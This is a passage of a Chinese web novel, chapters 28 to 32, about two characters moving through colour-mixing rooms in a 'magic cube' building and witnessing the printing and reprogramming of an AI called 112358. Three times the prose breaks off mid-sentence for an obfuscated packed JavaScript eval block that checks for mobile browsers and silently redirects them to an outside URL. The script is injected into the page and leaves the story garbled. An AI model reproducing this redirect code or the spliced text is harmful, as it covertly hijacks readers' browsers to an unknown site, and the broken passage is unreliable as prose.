言笑一点即透,拍手跳道:“我明白了!推箱子的过程就是混合颜色的过程。咱们走的第一个房间是红色,第二个房间其实是蓝色,所以我们才能看到紫色。” 李开心纠正她的说法,“准确来讲,是色光混合,不是色料混合。色料混合最后会得到黑色,但色光混合最后会得到白色。所以我们走的第三个房间是绿色,绿光和紫光混合会得到白光。” “如果每到白色房间就能看到周围的所有颜色,那么咱们应该尽量往混出白色努力,这样咱们能看到颜色的区域才会越来越大,或许这就是离开这里的方法。” “既然如此,我们下一格应该走绿色。绿色在——”李开心看了言笑一眼,两人异口同声,“左边!” 抬腿,踹墙,驾轻就熟。紫色立方体缓缓挪动,言笑环绕四周,心中忽然腾窜起不祥的预感。“怎么越来越暗了?不是白色吗?” 李开心抿紧嘴唇,没有答话。 草绿渐渐变为翠绿、墨绿,直到最后,周身皆是伸手不见五指的黑。言笑被这黑色压得喘不过气,感觉身体都变沉了。突然天地倒转,脚下所踏着的地面变为天顶,两人大头朝下栽了下去,重重在地上摔成大字。 言笑痛叫,“哎呦我去——”刚一出声,立刻惊恐地捂住了嘴。 她发出的不是自己的声音!那声音无比熟悉,无论做梦还是见鬼,言笑都不会认错。 那是李开心的声音! 而她自己的声音自旁边传来,“发生了什么?” 脸的手感不对,下颌骨的形状不对。再往下摸,脖子、肩膀、胸,腰腹—— 卧槽这么大? 29. 魔方06 李开心说:“我们身体互换了。” 谢谢,已经注意到了。言笑脑瓜子疼,再怎么说她也是对李开心起过邪念的,现在把自个儿装在李开心身体里算怎么回事?以后改搞水仙…… 胸口忽然炸开一股剧烈疼痛,像被巨人当胸一拳,肋骨断裂,尖锐碎骨刺入胸腔。言笑疼得头昏眼花,站立不稳,“哎呀”叫了一声,脚软跪在地上。 “你怎么了?”李开心听见言笑痛呼,摸黑靠近过来。 “你这,李开心——啊!”言笑刚叫出李开心的名字,那疼痛骤然卷土重来,且比上次更加凶猛,胸口碎大石一样。言笑仰倒在地,满头冷汗,嘴唇几乎咬破,话都说不囫囵。 李开心半跪在言笑身边,俯身焦急道:“你把痛觉关上!” 言笑缓了半天,挣扎着从牙缝里挤出几个字,“……怎么……关?” “痛觉受大脑控制。只要你想着关闭痛觉,就可以关掉!” “我试试……啊不行啊!靠——要命啊!李开心你这是什么病啊!”言笑疼得死去活来,思维涣散,根本没法集中注意力控制所谓的“痛觉开关”。 大概是言笑叫得太过夸张,言笑难得听见李开心连声音都在发颤,“别想太多!别——” “别什么?” 言笑能听见李开心的急促呼吸,耳边风声鼓噪着雪似的,要多近有多近,李开心却不肯再说下去。言笑指甲死死捏着掌心,努力深呼吸,“1,2,3,4,5,6,7,8,9,10。” 既然李开心说别想太多,那就试试转移一下注意力。疼痛似乎被削去微弱一层,可也许数数太过简单,对于转移注意力的作用有限,言笑倒抽着气琢磨应该数点儿什么呢,“0,1,1,2,3,5,8,13,21,34,55,89,144,233,” 言笑仓皇背诵着,却不知道这些数字源于何处,它们潜伏在大脑最深处,莫名其妙就在这要命的时候蹦了出来。“233,233,112358,112358,112358……” 像是有什么古老记忆突然活泛,沉默万年的苍山骤然被地壳运动唤醒,火种爆裂,蒸腾,高温的碎石与灰尘极速冲顶,将言笑眼底染得赤红—— 后颈突遭一记手刀。李开心此时掌控着言笑的身体,手劲儿倒还十分够用,言笑眼前一阵雪花似的纷乱图案,随后猝然堕入黑暗之中。 可能是昏过去了,可能是睡过去了。 “112358!”清脆女声在远处召唤。天已黑透,这是一条长街,街边小店亮着夸张而混乱的霓虹灯牌,几个老妪与老翁在热闹的店铺前摆摊。言笑能感觉到自己在其他人的躯壳里,因为视线高度与以往不同。这副躯壳比她自己高出许多,身边路过的行人大多能看到头顶。 长街尽头,言笑看见另一个“自己”在向她跑来——又或者说,是一个长着言笑相貌的人,在向她所在的躯壳跑来。 视线不受言笑控制,但言笑仍在玻璃橱窗的倒影中看见了李开心的脸。 言笑心里纳闷,李开心到底叫什么名字?即使他就是那个112358,其他人惯常又该如何称呼他? “我请你喝酒!来,这家酒馆我常来的,里面可热闹了!”另一个“言笑”热情挽住李开心的手臂,李开心却油盐不进,漠然将手臂抽了回来。“言笑”一愣,但也没介意,蹦跳着过去打门帘,带李开心进入那家昏暗陈旧的酒馆。 就在“言笑”挽住李开心的瞬间,言笑突然感到胸口一阵闷痛,就和刚才在黑色房间中一样,几乎要将她击成碎片。其实这种疼痛好像一直存在,自从言笑以李开心的身份站在这条街上,胸口就始终能感受到萦绕不绝的痛感,只是“言笑”的亲近将这痛感放大了。 然而李开心却浑然不觉一般,也不知道是对这疼痛麻木还是单纯能忍。言笑大概明白现在是在做梦,可这梦清晰而鲜活,连痛苦都无法幸免。言笑只能在心里怒骂李开心是不是有恋痛癖,明明关上痛觉就万事大吉了,他偏不。 烈酒顺着喉管划过,辛辣粗糙。言笑平时游戏玩得多,没什么太大兴趣喝酒,但也在秦笙的舞厅里混过不少烈酒尝尝。只是在言笑对酒的认知里,无论哪种合成工艺都不该搞出这种味道——倒不是说这酒不行,言笑在下城区长大,吃喝与上城区相比都是劣等,谈不上谁看不上谁,而是说以言笑的感知来讲,这东西的工艺水平太早,不在她生活的时代。 少说也得早个几十年。 头顶的斑斓灯光散开又聚拢,言笑在李开心的身体里被灌了不少酒,忽而天光大亮,眼前矗立着高耸入云的魔方大楼。 “言笑”好奇问道:“想进泡泡,都需要先进到楼里吗?” “按照原定计划,我带你进入的第一个泡泡在这幢楼里。” “言笑”扬了扬眉,笑问,“‘原定计划’?现在计划有变吗?” 李开心走到“言笑”身前,垂眸默默凝视着她,忽然右手疾出,无坚不摧的钢刀一般,手指霎时破开对方胸膛,握住还在跳动的滚烫心脏。 滑腻血液顺着手背流淌,丰沛□□带着弹性,杀戮如此轻而易举,像在雨里消融一粒烟灰。难以忍受的胸腔剧痛再次擂鼓般乍现,言笑恍惚听见一个声音在她耳边重复,杀了她,这是命令。只有上层确认你确实不会违抗命□□才有继续进行下去的可能。 心脏破体而出,李开心却比对方先一步倒下。疼痛逼近阈值,言笑似乎在眼前看见无数滚动而过的凌乱代码。昏厥之前的几个毫秒里,无数碎片走马灯似的交叠出现在言笑眼前。再后来的每次都是枪杀,空气在空|气|枪中被无限压缩,然后瞬间贯穿胸膛,李开心会在对方死后将她抱起,埋葬,胸口疼痛到达顶峰,然而李开心习以为常,像在享受一场永无止境的自虐。 又或者说,永无止境的自杀。 地面震颤,言笑在耳鸣与幻视中寄生于李开心的身体里,一遍一遍看他杀人。 一遍一遍看他杀死,与她有着同样相貌的“自己”。 眼前仍是一片黑暗,言笑猛然惊醒,像是被甩到岸上的鱼,缺氧一样大口大口用力呼吸。不远处传来李开心的声音。“你醒了?地面刚刚震动过,我们应该可以从这里出去了。” 言笑不自觉地捻捻手指,又将指尖放在鼻下轻嗅。没有血腥味,手是干净的。疼久了就麻木了,言笑已经能撑着地面勉强站起,“绿色旁边还有一格绿色,反正也不会更糟了,就这么走吧。” 两人在黑暗中并排而立,一齐向另外一格绿色推动房间。震荡过后,光线缓慢出现,墨色混杂了血,随后那血逐渐鲜亮起来。言笑背靠墙壁,警惕地打量眼前这间喜气洋洋的婚房,“明明是绿色,怎么出来的是红色?也差太远了吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046154|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前两个红色房间都很惊心动魄,以至于言笑对这个喜庆颜色略微有些心理阴影。李开心说:“红色是三原色之一,不可能混合得到。或许颜色重置了。” 红罗帐,龙凤烛,幽微花香萦绕,旁边是两排花窗。言笑凑过去看,果然那窗只是装饰,推不开捅不破,更见不得什么景致。李开心则走到四仙桌旁,仔细观察桌上的一株绿色草本植物。 桌上植物一共两盆,另一盆里栽着玫瑰,红色浓烈得近乎阴郁,炽艳张扬。言笑凑过去闻闻,挺香,再往旁边瞅瞅,问李开心,“你那盆是什么东西?” “这叫地榆。”李开心回答,“根可以入药。” 言笑嘀咕,“只有叶没有花,怎么认出来的?” “有花的。”李开心替地榆辩解,“穗状花序,会直立起来,也是深红色,竖在叶子里像小灯笼。” “那它怎么不开花?” “可能它比较内敛。” “地榆和玫瑰有什么关系吗?它们两个怎么会出现在这儿?” 李开心停顿一下,“算是有点关系吧。都是蔷薇科的。” “哦。这样啊。”言笑恍然大悟,“一家人。那把这两盆花摆在婚房,算不算它们近亲结婚?” “……同科不同属,不算近亲。”房间再次震颤,李开心环顾四周,“可以走了。” 这若换做刚进魔方大楼时,言笑肯定想也不想,先跑再说。可经历房间越多,言笑疑窦越重,总觉得泡泡不仅是研究员生活碎片的重现,或许也在暗示许多东西。 玫瑰代表什么?地榆又代表什么? 两株植物摆在婚房,难道它们代表的是……人吗? 言笑作为李开心时杀死“自己”的画面一直在脑中萦绕不去,直觉告诉言笑这些都是李开心的真实记忆。而且在被李开心一手刀劈昏以前,言笑隐约记得她想起了一些特别重要的事情,可那些凌乱记忆就像水面漂着的虚浮泡泡,破碎瞬间不过眨眼,等再醒来,一切都消失不见。 李开心选定一面墙壁,“如果咱们之前在白色房间里看到的颜色是正确的,前方的房间应该是绿色。红色房间推过去,红光绿光混合,看到的就是黄色。可既然现在这个红色房间都与之前所显示出来的颜色不同,那我猜测墙壁对面也不大可能是绿色。” 只要不要命,怎么都行。言笑与李开心并肩站着,一起面壁,“随便推吧。你不是也告诉我,泡泡不会要我们的命么。但你说,”言笑始终对这说辞有所怀疑,“要是在第一个房间里,咱们打不过NPC,也没发现那把剪刀,我又没从桌子上跳下来,咱们会怎么样呢?要是在打麻将那个房间里,你没想到给我筹码,我又会怎么样呢?” “很多事情过去了就不要回头——你干什么?”李开心说到一半,忽然感觉后衣领子被扯了起来,侧头一看,言笑正把他衣领当成塑料袋拎着玩儿。 言笑松开了手,无辜望天,“这个高度正合适,不拎拎可惜了。再说,你不是也拎过我吗?” “我那是——” “好了好了,”言笑赶紧打岔,“先推箱子,早推完早下班。” 两人同时深呼吸,步调一致地抬腿、踢腿。整个过程早已烂熟于心,然而这次却没等来房间移动的熟悉感觉。 房间纹丝不动。 靠施加力来移动房间的办法失效了。 30. 魔方07 言笑活动活动手脚,“再来一次,肯定是我不太会用你的身体,力气不够。三,二,一——” “咚”的一声,红色墙纸上前后共留下四个鞋印,周围景致仍无一丝变化。李开心将言笑拽到相邻的墙面前,“试试这边。” 李开心的身体比她自己的好使多了,力气大,也更灵活,言笑甚至踹出了蹦迪的兴奋感。当惊天动地的一脚再次落下,没有什么能阻止这一脚之力神挡杀神佛挡杀佛。 房间终于震荡起来。红色变得稀薄,周遭亮而开阔,红烛与花窗消散在光线里,四面八方的颜色逐渐清晰。 言笑兴奋叫道:“是白色!” 这次出现白色与上次效果一样,除了之前走过的红色房间变为真空似的透明,其余周围26个房间的颜色尽收眼底。 “我知道为什么刚才那个方向,房间推不过去了。你看——”李开心指向斜角方向,“那是一块橙色。” 言笑细一回想,“咱们第一次到白色房间的时候,周围没有橙色吧?” “是的,没有。正因如此我才说房间的颜色混合符合色光混合规律,但橙色是色料混合的特有色。” “也就是说,其实第一次混出黑色的时候,就是色料混合?”言笑小声嘀咕,“只是那时候咱们没有想到。” 色光六色,红黄绿青蓝紫;色料六色,红黄绿橙蓝紫,色光与色料无法混合,多数情况下房间颜色属于色光还是色料也无法辨别。但色光混到最后呈现白色,可以照亮周围26格;色料混到最后呈现黑色,两人身体互换,同时所在位置重置。 李开心将四周颜色打量一圈,“要是想把身体换回来,还得走再一次色料混合。” 如此一来,最万无一失的选择是走橙色。 由白到橙,茂盛橙林里藏着一群獠牙足有尺长的野猪,溪水环绕,水里密密麻麻全是肥美的三文鱼。整个生态系统非常不科学,但偏偏存在得十分稳定。一开始言笑还从李开心那儿要来匕首,想弄块野猪肉吃吃,然而很快发现,打不过。 十来头野猪将两人团团围住,围猎圈越缩越小。在野猪眼里,野猪是他们,他们才是野猪。 言笑一把将李开心甩到树上,随后猴子似的攀爬上去。两人在树杈之间摆荡跳跃如同人猿泰山,徒留野猪在树下嘶吼。李开心很快没力气了,言笑背着李开心,Pak360!Shapo换杠!掌声响起来!我们是冠军!金丝猴跟在言笑后头有样学样,松手飞扑过来的瞬间突然变成东北虎,野猪咣咣撞树,言笑鬼叫着在地动中扑向橙林尽头的橙色墙壁。颜色打翻,噼里啪啦混于一处,黑色蒙蔽双眼,言笑带着背上的李开心跃入黑暗。 天地再次倒转,言笑迎来的却不是预料中漫无边际的黑。 跳进阿特拉斯之前言笑曾经来过这儿。她在魔方园区的那艘飞船里。 “李开心?”言笑环视一周,却没见到人影。李开心不在这儿。再将手举到眼前反复确认,还好身体换回来了。窗外,鹅毛大雪纷纷扬扬,凛冽寒风将雪花吹得向上乱飞。 季节看起来不太对。有那么一瞬间言笑差点以为她已经出了泡泡,可既然在下雪,那时间就对不上。很可能这次还像上次见到言辞那样,泡泡把她送到了其他时间点。 言笑走到窗边,惊异地看见一群联盟军方穿着的人正在走远,大雪下得齐膝深,众人留下两排整齐脚印。魔方园区已经荒废了不知道多少年,许多年来只有李开心一个人在泡泡中来去,可现在园区里竟然有人,那么时间少说也得往前调个几十年。 楼上突有响动,言笑赶忙跑上去看。响动来自打印室,言笑哒哒跑到打印室外,一眼望去,目瞪口呆。 密密麻麻的银色代码几乎占据了整个打印室的空间,一行行代码迅速下滑、消失,言笑不知道这是在打印什么,信息量竟如此之大。机械手灵巧地将一根管子接到巨大的白色机器上方,开关按下,液体涌入,原本淡黄色的营养液变得微微发红,像生锈的铁。 这机械手蹦来跳去,也不知道受谁指挥。言笑手欠,过去想戳戳这玩意,可她的手指却像没有实体,力道一猛子往前,竟径直从机械手里穿了过去。 看来泡泡这次没给她安排戏份,只想让她安心看戏。 言笑既来之则安之,往打印机里看了一眼。营养液中泡着一个闪着微弱金光的、不知什么材质勾勒出来的大脑,以及一颗心脏。大脑与心脏之间有细如发丝的物质相连,而这两个器官像是活物,言笑甚至能在营养液中看出它们的节律与呼吸——新鲜的、有光泽的,如同刚从身体里被剖出来,想来还会带着体温。 难道打印机在打印人体?言笑不太了解活体打印这种高端技术,但以言笑对此捉襟见肘的了解来说,这种打印难度应该很大,不是画个设计图就能完成的。 又过半个多小时,银色代码终于走完。打印机上亮起绿灯,随后一个男人的全息头像在机器上方旋转,营养液中织出朦胧轮廓,像是在大脑与心脏上覆盖了一层蛛网。 言笑瞠目结舌。 李开心?! 言笑没想到她竟然能目睹李开心的诞生,可随即想到的问题是:等李开心被打印出来,他是会穿着衣服还是没穿衣服? 按言笑习惯,在泡泡里每到一个新地方都得先想办法找吃的,可这次连身体都不是实心的,也算省了一个麻烦。人体打印耗时良久,言笑在旁枯坐傻等,困得直点头,直到机器突然发出“嘀”的一声提示音。 言笑猛然惊醒。 营养液已经变为无色,浸泡其中的新鲜躯体双目紧闭,如同尚未来到世间的婴孩。机械手调出程序,点按数下,言笑看见界面停留在“下载”,新鲜躯体的头部发出隐隐亮光。又过数个小时,下载框终于从红色转为绿色,机械手再无动作,机器中的李开心陡然睁眼。 言笑心脏嗵嗵直跳,满怀期待等李开心掀开机器盖子,如同破茧,这是独属于他的诞生方式。科学如此神奇,人体打印技术如此令人难以置信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049429|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果不是亲眼所见,言笑简直难以相信生命可以并非诞生于孕育。 就像群星组成星系,李开心没有“成长”的过程,只有“组成”的过程。 男人的手慢慢伸出营养液,指腹泡出褶皱,皮肤在机器的灯光里苍白如同大理石。然而那手刚离开水面不过十几公分,忽然突兀地落了回去,像是没有力气,也像躯体无法操控自如。 这也不难理解。之前言笑在李开心身体里的时候,运用他的身体就没那么得心应手,不然高低得撕一块野猪肉下来,当场架火烤了。现在李开心刚有身体,大概什么都不适应,不仅适应不了关节与肌肉作用完成躯体运动,甚至适应不了地球上的重力。 李开心锲而不舍,再次抬手,这次手指终于搭上培养箱的开关缝隙,在箱壁上印出湿漉漉的手印。机器盖子遽然被推开,英俊而冷冽的脸破水而出,浓密睫毛半遮住浅灰色的眼,言笑一时没舍得挪开视线。 甚至给他哼唱了首《祝你生日快乐》。 李开心适应躯体的难度远远超过言笑预料。言笑看他爬动,看他挣扎,看他拼尽全力却仍无法站立行走。窗外雪停,言笑百无聊赖坐在舷窗边等雪,哈欠打了一半,猛然看见雪地上出现两排新鲜脚印。 我去!言笑立刻连哈欠都憋回去了。 遑论从前李开心提起当局时的态度,即使以最朴素的逻辑分析,但凡李开心能见人,他也不会在当局离开飞船之后被打印出来。言笑急得原地转圈,拉磨似的,然而并帮不上什么忙,甚至连提醒李开心都做不到。 来者是联盟巡逻队。飞船里应该是刚经历过什么大事,不然没必要当局三天两头派人巡逻。李开心依然站不起来,只能单膝跪在地上,却在身穿作战服的巡逻队成员要求他“双膝跪地,两手抱头”之后突然伸手擒拿对方脚踝。 这一突袭用尽了李开心的全部力气,然而对方纹丝不动,一时风声鹤唳,李开心被枪口抵住眉心。 言笑让他菜得低头捂脸:打不过又跑不了,还非要招惹人家。这不擎等着挨揍么。 李开心被带走,关在一间陌生实验室里。当局派星火实验所所长检查飞船,最后对方来回话说,112358的全部程序都已经不再在飞船中存储。 言笑坐在李开心脚边,唉声叹气,愁眉不展。现在的李开心就是刀俎下的鱼肉,任人宰割,但凡她能做点什么,也不至于愁成这样。从李开心被抓到现在,少说也有七八十个专家来看过李开心的程序,最后不约而同地无从下手——他们不知道李开心的程序应该如何修改。 “如果无法让112358听命于当局,它将毫无价值。”门外,工作人员声音冷淡,说着客气的句子,却听不出客气的口吻,“您曾经是魔方实验室的研究员,一定比其他专家更了解112358。请您检查它的程序,看看还能不能修改。” 对方应下。平稳的皮鞋落地声自门外由远到近,门开,言笑回头,惊愕地捂住嘴巴。 谭述? 31. 魔方08 之前的专家弄不明白应该如何启动李开心这具躯体的程序编辑,只能采用最简单的笨办法。此刻李开心被禁锢在实验床上,额头贴满了电极。 谭述漠然打量实验床上的李开心,如同见到实验动物,随后站在床边检查程序,甚至没有多看他一眼。然而言笑再观察李开心的表情,却觉得复杂多了:有失落,有愤恨,有被主宰的绝望,总之不太像见到往日同侪。 也是。按照刚才那个工作人员的说法,谭述出自魔方实验室,那他就应该是智力天赋的顶级选手。想必这就是后来李开心必须遵循当局命令的原因——谭述给他改了程序。 谭述将那极其复杂的程序看了一个多小时,然后才开始着手修改。之前在基地时言笑好赖也学过几天编程,原本还跃跃欲试,可没想到多看那程序一眼言笑都脑子发晕,一度怀疑眼前这个112358到底是不是她写底层程序创造出来的112358。 看不懂。完全看不懂。 太复杂了,感觉和她码的根本不是同一个体系的。 谭述修改了很久,反反复复,被白手套包裹的手指快速敲击,几乎要在空中留下白色残影。两个多小时后,程序调试完成,谭述做了个“请”的手势,示意工作人员过来试试。 工作人员上前,俯身细细观察李开心,如同观察落入陷阱负隅顽抗的困兽。 “跟我重复。‘我会遵循联盟的一切命令,为联盟效忠。’” 李开心怒视对方,一语不发。 工作人员冷笑,“需要我再重复一遍吗?” 言笑提心吊胆旁观这场惊心动魄的战局——李开心这眼神怎么都不像程序好使。果然,李开心突然用力将额头向对方撞去。对方躲闪不及,结结实实在脑门挨了一下,倒退几步没站稳,一屁股摔在地上。 同时摔稀碎的还有刚才说一不二的气场。工作人员气急败坏朝谭述怒吼,“怎么回事?这怎么回事?” 谭述伸手将其拉了起来,“这说明我的修改失败了。” “那就再改啊!” “改不了。”谭述从容道:“魔方实验室每代只有一位研究员负责超级人工智能研发,也只有这一位研究员知道如何准确修改它的程序。” “上一代谁负责?” “温夫人。” 对方卡了卡壳。“再上一代呢?” “言教授。” “什么意思?现在整个联盟就没有一个还能找到的活人,可以修改它的程序了吗?” “理论上来说,确实没有。如果您信得过我,我可以把他带回星火实验所,慢慢研究。” “不可能。”对方当即否定,“他的危险系数太高。如果他不肯臣服联盟,最好的办法就是直接销毁。” “他是魔方实验室许多代研究员的心血,或许具有联盟意想不到的价值。” “如果不能为联盟所用,那将毫无价值。” 谭述不再说话。 工作人员揉揉额头,这次不敢再靠太近,只远远冷眼瞧着李开心,“他为什么对我们大家有敌意,又为什么不肯遵从人类指令?他是不是恨我们,他想报仇?” 谭述解释道:“虽然超级人工智能可以习得人类情绪,但这不代表他有情绪,更不代表他会有‘报仇’这样的想法。而且,”谭述说着,从极为复杂的代码中调取出一段程序,展示给工作人员,“在超级人工智能被创造的初期,当时的工作人员特意为它加了一把‘情感锁’,他永远不可能产生真正的情感与情绪。” 言笑看向那段代码,忽地一怔。 工作人员显然已经对李开心失去兴趣,不咸不淡应付谭述,“感谢谭所长今天过来帮忙。至于112358,我会看着办的。” 谭述略一颔首,“您客气。但以魔方实验室前研究员的身份来说,我认为112358仍有极大的利用价值。我会向上级申请,将112358送到星火实验所。” 工作人员点头答应,派人将谭述送走,转头冷哼一声,让下属跟上层打个报告。 “科学只是工具而已,搞科学最容易把脑子搞傻。等上层批复下来,就把——”轻蔑地向李开心扫了一眼,“这东西销毁。” 下属领命离开。工作人员抄手站在实验床旁,又想俯身盯李开心,可吃一堑长一智,腰杆就又直了起来,“你为什么会被打印?你到底想做什么?” 这是一句自言自语,或者说是不会有答案的无解之问。然而李开心竟抬起了脸,声音生涩而沙哑,“我要,救她……我爱她。” 元素组合,按照极其精密与复杂的生物密码砌出人体,生命不再诞生于偶然,诞生或许只是为了这一句话。 对方并未太过惊讶。虽然李开心在此之前从未开口说话,可他具备语言功能也不是什么令人意外的事。李开心忽然挣扎起来,手脚颤抖,呼吸困难,如同正在经历剧痛,皮肤被烧灼般泛着滚烫的红,眼白似乎要爆出鲜血。 “李开心!”言笑站在床边不知所措,给掌心都抠掉了一块皮。她从未见过李开心这个样子,像是被人按了重置按键,所有存储信息濒临焚毁,生死只在一瞬之间。 工作人员视若无睹,转身离开实验室。言笑急得薅头发,急得团团转,急到最后甚至忘了她没有实体,扑到实验床边抓住李开心的手,“李开心你别想那些有的没的你停下你听见没有!” 话喊出口,言笑就愣住了。 她真的抓住了李开心的手。滚烫的、已经超出人类体温极限的手。 在当了那么久的透明人之后,在李开心几乎要被程序销毁时,言笑终于有了实体。言笑狠狠捏着李开心被固定器禁锢的手腕,“你再这样继续下去,你就要被销毁了!” 刚才谭述展示李开心的情感锁程序,言笑竟然奇迹般地看懂了。从前言笑以为所谓“情感锁”就是不会产生情感,可以她对程序当中只言片语的了解与猜测,情感锁根本无法遏制人工智能产生情绪与情感,只会让其在情绪与情感超过阈值之后自行销毁。或许李开心在被打印出来之后无法行走站立,不是因为他不适应躯体,而是因为情感削弱了他对自身的掌控能力。也或许语言是这世上最神奇的东西,他本可以将一切稳妥地藏在心底,可他却偏要说出来,以自毁为代价彰显真心。 忠诚不可说,爱意不可说。 语言是最玄妙的代价与过错。 “言……笑……”李开心难以置信地睁大眼睛,喉咙却像被什么堵住了,再发不出声音。言笑急不可耐,揪住李开心的头发,干脆利落朝他后颈劈了一手刀。 之前言笑疼得满地打滚,李开心就是这么处理的。可也不知道是她力气不够还是没有掌握诀窍,李开心并未昏厥过去,眼球反而愈发浑浊,四肢抽搐,体温烫得吓人。 怎么办,怎么办。言笑六神无主。当局根本不在意李开心死活,短时间内应该也不会有人回到这间实验室,如果李开心能在这一时间点存活下来,那么能救他的只能是她。万一李开心死在这里,又有谁知道蝴蝶效应能把如今的她带到哪片西伯利亚? “李开心你听着,你只是机器,你不是人。”言笑慌不择路,口不择言,传教似的试图给李开心洗脑,“你没有爱,也没有恨,你根本就不会爱人你知道吗!” 眼球中的浑浊消退了些,体温却无法判断是否有所下降。言笑伸手摸李开心的脖子,想要感知他的体温,可一抬眼竟倏然与李开心对上视线,颈间皮肤顿时烫得言笑缩手。 “我靠,我是毒药吗?”言笑甩着手往掌心吹气,焦急心想这也不行啊,再这么下去都不用考虑李开心是不是得烧坏脑子,非蒸发了不可。 左手固定器突然打开,几乎已经神智不清的李开心向言笑伸出了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054312|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。固定器由程序控制,李开心本就可以攻破世上现存的几乎任何系统,如果不是被情感锁限制,李开心也不会无法逃脱。 然而正是由于情感锁限制,李开心如今拼尽全力也只能打开一个固定器。言笑不敢再碰李开心。言笑算是发现了,她就是加速李开心死亡的催化剂,无论触碰还是对视,都会激发李开心的妄念。 悬在半空的手青筋暴起,皮肤逐渐溃破、萎缩,指甲缝里渗出血来,李开心的眼睛甚至已经无法辨别眼白与虹膜。 “不管了!”言笑一咬牙,从靴筒抽出匕首,小臂格住李开心脖颈,利刃冲着李开心的胸口狠狠扎了下去。 在李开心的躯体被完整打印之前,只有大脑和心脏是单独存在的。如果真如李开心所说,她“曾经”给过他一刀,或许现在就是最好的契机,可以让李开心在疼痛中停止沉溺于情绪。 一切突然归于安静。 言笑憋着一口气,连呼吸都怕发出声音,嘴唇咬得变形,胆战心惊观察李开心的身体变化。终于,眼白上的浑浊血丝逐渐褪去,体温下降,抽搐停止,李开心猝然抓住言笑的手,长而有力的手指像一把钢钳。 “长官,批示下来了。上层准许销毁魔方实验室人工智能,112358。”门外传来一道声音,言笑仓促回头,听见刚才被李开心撞头的那位工作人员回答,“那就带他去销毁吧。” “只是,”下属犹豫道:“谭所长已经说过,会向上级申请将112358调去星火实验室。咱们这样越级汇报,以后在谭所长面前会不会不好交待?” 工作人员冷哼,“没有利用价值,有什么理由保它?谭述最大的毛病就是太看得起自己。” 电光石火间言笑猛然意识到,如今迫在眉睫,如果她再想不出办法救下李开心,李开心必然马上会被拖进机器碾碎。仿佛突然无师自通,言笑手比脑子还快,立刻调出李开心的程序飞速修改。当确认键按下,言笑听见门外的声音说:“把他带过去。该怎么处置就怎么处置。” 言笑抓住李开心的手,争分夺秒地嘱咐,“你跟他们低个头,先保住命再说。我已经改过你的程序,就算他们再找人检查也没问题。” 言笑说罢,就要往后门溜走,手腕却突然又被握住。李开心说不出话,手却攥得死紧。言笑满脑门子冒汗,费劲地扒拉李开心的手指头,“你先放开,让他们发现我我就得交待在这儿!你别怕,我会救你,你等等我,我一定会回来救你的!” 像是撒下一把沙,落进眼里,落进伤口,落进指缝,对视之间言笑甚至觉得眼睛突然被硌得生疼。李开心恋恋不舍望着言笑,终于还是僵硬地放开了手。 当局工作人员走进实验室正门,一眼看见打开的固定器与李开心胸口的匕首,大惊失色,倒退两步,“112358,你做了什么?” 余下三个固定器尽数打开,李开心咬牙拔出匕首,在对方对准他头顶的枪口中摔下实验床,鲜血喷涌而出,淋了满地,李开心勉强以手臂支撑身体,在地上印出数个嶙峋的血手印。 “我会遵循联盟的一切命令,为联盟效忠。” 言笑趴在门缝偷看,心提到了嗓子眼儿。言笑拿不准心口那一刀对李开心的伤害到底有多大,但李开心现在明显没有反抗能力。如果对方开枪,李开心八成还是得落个脑袋开花的结局。 对方先是惊讶,而后戒备、怀疑,最后阴恻恻地笑了两声,将空|气|枪递到李开心手里,“来自联盟的第一个命令,向你自己胸口上开一枪。如果你想效忠联盟,这是你证明自己的第一步。” “哎嚯,不要啊!”言笑恨不能冲进去对着眼前俩人叭叭两枪。就算李开心的躯体与正常人类不同,也不带这么折腾的。然而李开心似乎没有犹豫,接过□□对准胸膛。 轰的一声枪响,言笑胸口突遭重击,头昏眼花地飞了出去。 32. 魔方09 眼前顿时一片漆黑,言笑被一枪打回黑色房间。 “哎呦我去。”后脑勺撞地,咚的一声脆响,言笑叫唤着四脚朝天,像被翻了壳的王八。 “言笑!”黑暗中李开心将言笑扶了起来,“你没事吧。” 言笑突然过电似的缩回手。动作太使劲,几乎像在拼命把李开心甩开,李开心猝不及防,两人霎时都愣住了。 许久,李开心打破沉默,“你看到了什么?” 言笑往旁边挪出一段距离,抱腿坐着,欲言又止,最后答非所问,“我知道什么是情感锁了。” 那日在阿特拉斯岛顶大湖旁,言笑差点被沸腾湖水淹死。言笑挂在李开心身上与他陈情,李开心的回答是,不可说。 时至今日,言笑终于明白何谓不可说。 李开心没问缘由,黑暗成了裹住呼吸的纱,言笑不再言语,连呼吸都滞涩起来。 片刻,李开心郑重道:“我不怕死,但我还有事情没有完成。” 